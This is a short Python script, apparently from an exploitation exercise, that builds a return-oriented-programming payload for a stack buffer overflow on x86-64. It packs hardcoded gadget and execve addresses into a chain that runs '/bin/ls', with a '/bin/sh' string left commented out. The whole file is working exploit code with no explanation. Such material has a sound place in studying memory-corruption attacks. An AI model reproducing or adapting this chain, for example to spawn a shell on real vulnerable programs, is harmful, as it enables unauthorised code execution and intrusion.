
#BINSH = "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
BINLS = "\x2f\x62\x69\x6e\x2f\x6c\x73\x00"
BUFFER_ADDR = "\x60\xe9\xff\xff\xff\x7f\x00\x00"
BUFFER_ADDR_STORE = "\x68\xe9\xff\xff\xff\x7f\x00\x00"
RDI_GADGET_ADDR = "\xe2\x0e\xb5\xf7\xff\x7f\x00\x00"
RSI_GADGET_ADDR = "\x3e\xae\xb4\xf7\xff\x7f\x00\x00"
RDX_GADGET_ADDR = "\x95\xf2\xb2\xf7\xff\x7f\x00\x00"
EXECVE_ADDR = "\x40\x26\xaf\xf7\xff\x7f\x00\x00"
NULL = "\x00\x00\x00\x00\x00\x00\x00\x00"


payload = BINLS + BUFFER_ADDR + "\x00"*56 + RDI_GADGET_ADDR + BUFFER_ADDR + RSI_GADGET_ADDR + BUFFER_ADDR_STORE + RDX_GADGET_ADDR + NULL + EXECVE_ADDR
print(payload)
